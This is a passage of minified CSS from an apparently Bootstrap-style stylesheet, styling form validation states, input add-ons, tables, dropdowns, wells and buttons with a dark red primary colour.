pan10,.uneditable-input.span10{width:770px;width:770px}input.span11,textarea.span11,.uneditable-input.span11{width:850px;width:850px}input.span12,textarea.span12,.uneditable-input.span12{width:930px;width:930px}input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed}.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853}.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;border-color:#c09853}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e}.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853}.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;border-color:#c09853}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e}.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48}.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;border-color:#b94a48}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392}.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48}.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;border-color:#b94a48}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392}.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847}.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;border-color:#468847}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b}.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847}.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;border-color:#468847}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b}.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847}input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.form-actions{padding:20px 20px 21px;margin-top:21px;margin-bottom:21px;background-color:#f5f5f5;border-top:1px solid #ddd}.uneditable-input{display:block;background-color:#fff;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);cursor:not-allowed}:-moz-placeholder{color:#999}::-webkit-input-placeholder{color:#999}:-moz-placeholder{color:#999}::-webkit-input-placeholder{color:#999}.help-block{display:block;margin-top:5px;margin-bottom:0;color:#999}.help-inline{display:inline-block;*display:inline;*zoom:1;*display:inline;*zoom:1;margin-bottom:9px;vertical-align:middle;padding-left:5px}.input-prepend,.input-append{margin-bottom:5px;*zoom:1;*zoom:1}.input-prepend:before,.input-append:before,.input-prepend:after,.input-append:after{display:table;content:""}.input-prepend:after,.input-append:after{clear:both}.input-prepend:before,.input-append:before,.input-prepend:after,.input-append:after{display:table;content:""}.input-prepend:after,.input-append:after{clear:both}.input-prepend input,.input-append input,.input-prepend .uneditable-input,.input-append .uneditable-input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-prepend input:focus,.input-append input:focus,.input-prepend .uneditable-input:focus,.input-append .uneditable-input:focus{position:relative;z-index:2}.input-prepend .uneditable-input,.input-append .uneditable-input{border-left-color:#ccc}.input-prepend .add-on,.input-append .add-on{float:left;display:block;width:auto;min-width:16px;height:21px;margin-right:-1px;padding:4px 5px;font-weight:normal;line-height:21px;color:#999;text-align:center;text-shadow:0 1px 0 #fff;background-color:#f5f5f5;border:1px solid #ccc;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-prepend .active,.input-append .active{background-color:#a9dba9;border-color:#46a546}.input-prepend .add-on{*margin-top:1px}.input-append input,.input-append .uneditable-input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-append .uneditable-input{border-left-color:#eee;border-right-color:#ccc}.input-append .add-on{margin-right:0;margin-left:-1px;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-append input:first-child{*margin-left:-160px}.input-append input:first-child+.add-on{*margin-left:-21px}.search-query{padding-left:14px;padding-right:14px;margin-bottom:0;-webkit-border-radius:14px;-moz-border-radius:14px;border-radius:14px;-webkit-border-radius:14px;-moz-border-radius:14px;border-radius:14px}.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input{display:inline-block;margin-bottom:0}.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none}.form-search label,.form-inline label,.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{display:inline-block}.form-search .input-append .add-on,.form-inline .input-prepend .add-on,.form-search .input-append .add-on,.form-inline .input-prepend .add-on{vertical-align:middle}.form-search .radio,.form-inline .radio,.form-search .checkbox,.form-inline .checkbox{margin-bottom:0;vertical-align:middle}.control-group{margin-bottom:10.5px}legend+.control-group{margin-top:21px;-webkit-margin-top-collapse:separate}.form-horizontal .control-group{margin-bottom:21px;*zoom:1;*zoom:1}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:""}.form-horizontal .control-group:after{clear:both}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:""}.form-horizontal .control-group:after{clear:both}.form-horizontal .control-label{float:left;width:140px;padding-top:5px;text-align:right}.form-horizontal .controls{margin-left:160px}.form-horizontal .form-actions{padding-left:160px}table{max-width:100%;border-collapse:collapse;border-spacing:0}.table{width:100%;margin-bottom:21px}.table th,.table td{padding:8px;line-height:21px;text-align:left;vertical-align:top;border-top:1px solid #ddd}.table th{font-weight:bold}.table thead th{vertical-align:bottom}.table thead:first-child tr th,.table thead:first-child tr td{border-top:0}.table tbody+tbody{border-top:2px solid #ddd}.table-condensed th,.table-condensed td{padding:4px 5px}.table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapsed;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.table-bordered th+th,.table-bordered td+td,.table-bordered th+td,.table-bordered td+th{border-left:1px solid #ddd}.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0}.table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0}.table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0}.table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px}.table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0}.table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9}.table tbody tr:hover td,.table tbody tr:hover th{background-color:#f5f5f5}table .span1{float:none;width:44px;margin-left:0}table .span2{float:none;width:124px;margin-left:0}table .span3{float:none;width:204px;margin-left:0}table .span4{float:none;width:284px;margin-left:0}table .span5{float:none;width:364px;margin-left:0}table .span6{float:none;width:444px;margin-left:0}table .span7{float:none;width:524px;margin-left:0}table .span8{float:none;width:604px;margin-left:0}table .span9{float:none;width:684px;margin-left:0}table .span10{float:none;width:764px;margin-left:0}table .span11{float:none;width:844px;margin-left:0}table .span12{float:none;width:924px;margin-left:0}.dropdown{position:relative}.dropdown-toggle{*margin-bottom:-3px}.dropdown-toggle:active,.open .dropdown-toggle{outline:0}.caret{display:inline-block;width:0;height:0;text-indent:-99999px;*text-indent:0;vertical-align:top;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000;opacity:.3;filter:alpha(opacity=30);opacity:.3;filter:alpha(opacity=30);content:"\2193"}.dropdown .caret{margin-top:8px;margin-left:2px}.dropdown:hover .caret,.open.dropdown .caret{opacity:1;filter:alpha(opacity=100);opacity:1;filter:alpha(opacity=100)}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;float:left;display:none;min-width:160px;_width:160px;padding:4px 0;margin:0;list-style:none;background-color:#fff;border-color:#ccc;border-color:rgba(0,0,0,0.2);border-style:solid;border-width:1px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box;*border-right-width:2px;*border-bottom-width:2px}.dropdown-menu.bottom-up{top:auto;bottom:100%;margin-bottom:2px}.dropdown-menu .divider{height:1px;margin:5px 1px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff;*width:100%;*margin:-5px 0 5px}.dropdown-menu a{display:block;padding:3px 15px;clear:both;font-weight:normal;line-height:21px;color:#555;white-space:nowrap}.dropdown-menu li>a:hover,.dropdown-menu .active>a,.dropdown-menu .active>a:hover{color:#fff;text-decoration:none;background-color:#9d261d}.dropdown.open{*z-index:1000}.dropdown.open .dropdown-toggle{color:#fff;background:#ccc;background:rgba(0,0,0,0.3)}.dropdown.open .dropdown-menu{display:block}.typeahead{margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0,0,0,0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.fade{-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-ms-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-ms-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear;opacity:0}.fade.in{opacity:1}.collapse{-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-ms-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-ms-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease;position:relative;overflow:hidden;height:0}.collapse.in{height:auto}.close{float:right;font-size:20px;font-weight:bold;line-height:21px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20);opacity:.2;filter:alpha(opacity=20)}.close:hover{color:#000;text-decoration:none;opacity:.4;filter:alpha(opacity=40);opacity:.4;filter:alpha(opacity=40);cursor:pointer}.btn{display:inline-block;padding:4px 10px 4px;margin-bottom:0;font-size:14px;line-height:21px;color:#333;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-ms-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);*margin-left:.3em;*margin-left:.3em}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{background-color:#e6e6e6}.btn:active,.btn.active{background-color:#ccc \9}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{background-color:#e6e6e6}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:first-child{*margin-left:0}.btn:hover{color:#333;text-decoration:none;background-color:#e6e6e6;background-position:0 -15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-ms-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-ms-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);background-color:#e6e6e6;background-color:#d9d9d9 \9;outline:0}.btn.disabled,.btn[disabled]{cursor:default;background-image:none;background-color:#e6e6e6;opacity:.65;filter:alpha(opacity=65);opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-large{padding:9px 14px;font-size:16px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.btn-large [class^="icon-"]{margin-top:1px}.btn-small{padding:5px 9px;font-size:12px;line-height:19px}.btn-small [class^="icon-"]{margin-top:-1px}.btn-mini{padding:2px 6px;font-size:12px;line-height:17px}.btn-primary,.btn-primary:hover,.btn-warning,.btn-warning:hover,.btn-danger,.btn-danger:hover,.btn-success,.btn-success:hover,.btn-info,.btn-info:hover,.btn-inverse,.btn-inverse:hover{text-shadow:0 -1px 0 rgba(0,0,0,0.25);color:#fff}.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-dark.active{color:rgba(255,255,255,0.75)}.btn-primary{background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);border-color:#9d511d #9d511d #5c2f11;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);border-color:#9d511d #9d511d #5c2f11;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);border-color:#9d511d #9d511d #5c2f11;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);background-color:#9d371d;background-image:-moz-linear-gradient(top,#9d261d,#9d511d);background-image:-ms-linear-gradient(top,#9d261d,#9d511d);background-image:-webkit-gradient(linear,0 0,0 100%,from(#9d261d),to(#9d511d));background-image:-webkit-linear-gradient(top,#9d261d,#9d511d);background-image:-o-linear-gradient(top,#9d261d,#9d511d);background-image:linear-gradient(top,#9d261d,#9d511d);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#9d261d',endColorstr='#9d511d',GradientType=0);border-color:#9d511d #9d511d #5c2f11;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{background-color:#9d511d}.btn-primary:active,.btn-primary.active{background-color:#723b15 